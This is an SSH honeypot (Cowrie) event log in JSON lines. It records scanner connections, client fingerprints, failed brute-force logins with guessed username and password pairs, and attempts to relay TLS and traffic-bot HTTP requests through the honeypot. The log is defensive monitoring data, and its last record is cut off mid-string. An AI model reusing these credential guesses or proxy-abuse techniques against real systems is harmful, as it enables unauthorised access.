{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xe5\\xecK\\xb2\\x0e5\\xd2\"L\\xaf\\x92i\\xa9\\xf8\\xb8K\\xb7\\xf3\\x07\\x0e\\x01\\x1d\\xca\\x90\\x82\\xec\\x9e\\x06\\x8a\\xde\\xda \\n\\xd6\\x9b:\\xb6\\xc7\\x80\\xf5\\xc52\\xe1Z\\x7f\\x91\\x02c\\x17}\\x11\\xfa~\\xed\\xb9\\x99$\\x84V\\x82\\x8f\\xa5m)\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfd\\x95\\xbdB\\xdcRt$o(\\xb8\\x01\\xfd>\\xf0Y\\x89\\xf2=\\x8d\\xaf\\x13D\\xaa)n*9\\x8f\\n\\x84J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xe5\\xecK\\xb2\\x0e5\\xd2\"L\\xaf\\x92i\\xa9\\xf8\\xb8K\\xb7\\xf3\\x07\\x0e\\x01\\x1d\\xca\\x90\\x82\\xec\\x9e\\x06\\x8a\\xde\\xda \\n\\xd6\\x9b:\\xb6\\xc7\\x80\\xf5\\xc52\\xe1Z\\x7f\\x91\\x02c\\x17}\\x11\\xfa~\\xed\\xb9\\x99$\\x84V\\x82\\x8f\\xa5m)\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfd\\x95\\xbdB\\xdcRt$o(\\xb8\\x01\\xfd>\\xf0Y\\x89\\xf2=\\x8d\\xaf\\x13D\\xaa)n*9\\x8f\\n\\x84J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.530469Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":45505,"dst_ip":"159.203.135.109","dst_port":22,"session":"50537183670a","protocol":"ssh","message":"New connection: 41.90.100.147:45505 (159.203.135.109:22) [session: 50537183670a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.809114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.813183Z","src_ip":"41.90.100.147","session":"50537183670a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.893253Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:36.006409Z","src_ip":"91.92.40.36","session":"9e8196958f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:36.033177Z","src_ip":"41.90.100.147","session":"50537183670a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:36.943509Z","src_ip":"41.90.100.147","session":"50537183670a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"lol123","message":"login attempt [ubuntu/lol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:37.703669Z","src_ip":"91.92.40.36","session":"0157a481a710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:38.166394Z","src_ip":"41.90.100.147","session":"50537183670a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:39.809657Z","src_ip":"91.92.40.36","session":"0157a481a710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55816,"dst_ip":"159.203.135.109","dst_port":22,"session":"af94e1901075","protocol":"ssh","message":"New connection: 91.92.40.36:55816 (159.203.135.109:22) [session: af94e1901075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:39.861676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:40.694249Z","src_ip":"91.92.40.36","session":"af94e1901075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:40.698469Z","src_ip":"91.92.40.36","session":"af94e1901075","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.094115Z","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50687,"dst_ip":"10.17.0.5","dst_port":22,"session":"93cd8fc7f5b3","protocol":"ssh","message":"New connection: 123.27.168.40:50687 (10.17.0.5:22) [session: 93cd8fc7f5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.099803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.108444Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.154919Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; Z81 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dylpeFEmflk1ZG4rQDRtKQ%3D%3D7BgX9P3eoGamRKIWYggi0HPKHc2FvPRDVjXnAlrkrKSgtdM%2FfxN1IHqix1FFixiNpD2b%2B0K04F7jSbgSvil%2FXPkRAq7vC9BYmJ8VvKstLzjClDitlnq5Cw3uwgOMvIQ3l2w7sUyu2GcRBQSAPxw2xWfhw6JvQglnBOcD9AHFafIOs5YZpj6cIZI8xbp28i4iRbGPeJuF%2F%2Fy5L2EupD09wq8CpHGcdYiiUWKHisUFxPb3veFkMrUij2yIYYq2yQx31zSAeAp%2FL0mNCOHGsiiq0b26Q8DcbwapSYQ2kuqslswtWWpXu4%2BrWlmrPzUMB64vd%2Bq6mnv0NixZ0oV9lupT24xWL6fKViliFaKw%2BxNIsUW%2BHHrTCpZKkOBb5bF6bqaBptcXV8pDeY0QupcrgigJmEL4NU%2FKv2xYJg7LZe%2FjMJb1la6O4EHkcojhMQJthmq5BpHDCFqKNnRRmzJBQOPB7MZKPJj27BeeeyVwlafnQNFdxrpZ51jMxVEEzQgjLnRW7NKAi0ETeuR1dXQy3fv2t8BUjl9yJCMLT%2BPBLEjBOVFbSxQG99%2B%2FxANSQXFwvgvm32wyecCMkWFbKMnPfVWU%2BRI4qiFs4B3OwCqXozKCAKQzvalQPe3HQ%2FY%2Fx7c9gFwDlsKn0kiOfgHk%2Fw6HqhgLzcC1PQmxbpN8jdJaDr1%2FzopKJZITzKxqlTffLQgNpFjoDj0Wutxxi7KOPVzD6ZISZlmaV%2BGompGSvEy%2FW1RWPtDb1v0Dacl3s8l7VPRZXgGwQyLG7eMWO%2BfDEFjnIiSWIBwhExACNmzFbtEMG5IQuroE9jqfEQMNcUvIrB5XfbWPfMb0EniO6fXFNK5zHAbMXzR8Cb90qZXWVB3tQKdRGTW1CERBp7dp0jrjmH3zkfUbnVUKuXjx16upUA7y%2BU%2F21zE4MfQXY9WAV8j473Fc8sXSOBvls%2B8M4QOXVaoC4pHL32%2FtVU6nqOtsj1Jbq62VLFdNVQm0VyCgYLX6xnFH3P7PgJqy6OuAD4wXnhPygnnFGaHnkh9EBTUNUlwTcWZUuvNaKfhIqeyaCafcek2h4BcUOxzdhFzXgXJwrL0U0248'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; Z81 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dylpeFEmflk1ZG4rQDRtKQ%3D%3D7BgX9P3eoGamRKIWYggi0HPKHc2FvPRDVjXnAlrkrKSgtdM%2FfxN1IHqix1FFixiNpD2b%2B0K04F7jSbgSvil%2FXPkRAq7vC9BYmJ8VvKstLzjClDitlnq5Cw3uwgOMvIQ3l2w7sUyu2GcRBQSAPxw2xWfhw6JvQglnBOcD9AHFafIOs5YZpj6cIZI8xbp28i4iRbGPeJuF%2F%2Fy5L2EupD09wq8CpHGcdYiiUWKHisUFxPb3veFkMrUij2yIYYq2yQx31zSAeAp%2FL0mNCOHGsiiq0b26Q8DcbwapSYQ2kuqslswtWWpXu4%2BrWlmrPzUMB64vd%2Bq6mnv0NixZ0oV9lupT24xWL6fKViliFaKw%2BxNIsUW%2BHHrTCpZKkOBb5bF6bqaBptcXV8pDeY0QupcrgigJmEL4NU%2FKv2xYJg7LZe%2FjMJb1la6O4EHkcojhMQJthmq5BpHDCFqKNnRRmzJBQOPB7MZKPJj27BeeeyVwlafnQNFdxrpZ51jMxVEEzQgjLnRW7NKAi0ETeuR1dXQy3fv2t8BUjl9yJCMLT%2BPBLEjBOVFbSxQG99%2B%2FxANSQXFwvgvm32wyecCMkWFbKMnPfVWU%2BRI4qiFs4B3OwCqXozKCAKQzvalQPe3HQ%2FY%2Fx7c9gFwDlsKn0kiOfgHk%2Fw6HqhgLzcC1PQmxbpN8jdJaDr1%2FzopKJZITzKxqlTffLQgNpFjoDj0Wutxxi7KOPVzD6ZISZlmaV%2BGompGSvEy%2FW1RWPtDb1v0Dacl3s8l7VPRZXgGwQyLG7eMWO%2BfDEFjnIiSWIBwhExACNmzFbtEMG5IQuroE9jqfEQMNcUvIrB5XfbWPfMb0EniO6fXFNK5zHAbMXzR8Cb90qZXWVB3tQKdRGTW1CERBp7dp0jrjmH3zkfUbnVUKuXjx16upUA7y%2BU%2F21zE4MfQXY9WAV8j473Fc8sXSOBvls%2B8M4QOXVaoC4pHL32%2FtVU6nqOtsj1Jbq62VLFdNVQm0VyCgYLX6xnFH3P7PgJqy6OuAD4wXnhPygnnFGaHnkh9EBTUNUlwTcWZUuvNaKfhIqeyaCafcek2h4BcUOxzdhFzXgXJwrL0U0248'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.158373Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.163602Z","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.252125Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Q\\xe2\\x8e<\\xeb\\xeb3\\x8a6\\xfb\\xb0\"\\xb1\\rH\\xbcUZ,l\\xe1\\x82i\\x1e\\xe3\\'!O\\xcc\\x13\\xc9\\xeb \\t\\xc2\\xa9{S\\xf5\\x97\\x91\\x98\\x98\\x84\\x1d\\xa0\\t:\\xb6s\\xe2w\\xbf\\xd85@\\xa4\\x8at\\x08\\x8b\\xf5`\\x1b\\xd9\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 K;\\xed\\x83\\xc0h\\x08\\x81\\xdd\\xcaC\\xb4\\x9d\\x92Z\\xf6A\\xa8\\xe3\\x94\\xc4I\\xa0\\xf4j\\xc7\\xc9\\' \\xdd\\x16\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Q\\xe2\\x8e<\\xeb\\xeb3\\x8a6\\xfb\\xb0\"\\xb1\\rH\\xbcUZ,l\\xe1\\x82i\\x1e\\xe3\\'!O\\xcc\\x13\\xc9\\xeb \\t\\xc2\\xa9{S\\xf5\\x97\\x91\\x98\\x98\\x84\\x1d\\xa0\\t:\\xb6s\\xe2w\\xbf\\xd85@\\xa4\\x8at\\x08\\x8b\\xf5`\\x1b\\xd9\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 